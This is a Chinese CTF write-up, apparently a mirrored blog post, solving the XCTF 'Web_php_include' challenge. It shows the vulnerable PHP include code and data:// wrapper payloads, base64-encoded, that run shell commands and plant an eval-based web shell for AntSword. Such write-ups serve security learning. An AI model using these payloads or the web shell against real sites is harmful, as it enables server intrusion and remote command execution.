zoukankan      html  css  js  c++  java
  • 攻防世界-web进阶-Web_php_include

    从代码中得知page中带有php://的都会被替换成空

    str_replace()以其他字符替换字符串中的一些字符(区分大小写)

    strstr() 查找字符串首次出现的位置。返回字符串剩余部分

    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>
    

      

    方法一(data://伪协议执行命令利用)

    使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

    <?php system("dir")?> base64编码后使用

    ?page=data://text/plain/;base64,dW5kZWZpbmVkPD9waHAgc3lzdGVtKCJkaXIiKT8%2b
    (编码后的+号要URL编码)

      

     <?php system("cat fl4gisisish3r3.php")?> base64编码后使用

    ?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/PiA=
    

      

    查看源代码

    方法二(data://伪协议传木马)

    <?php eval($_POST[shell]); ?> base64加密后拼接

    ?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=
    

      

    蚁剑连接,密码shell

  • 相关阅读:
    开通博客了
    nginx一些高级配置
    hue的优化
    hue改下载行数
    运维常用脚本
    scala
    kafka调优
    confluent部署:
    Redis主从及哨兵
    Redis配置
  • 原文地址:https://www.cnblogs.com/tac2664/p/13864025.html
Copyright © 2011-2022 走看看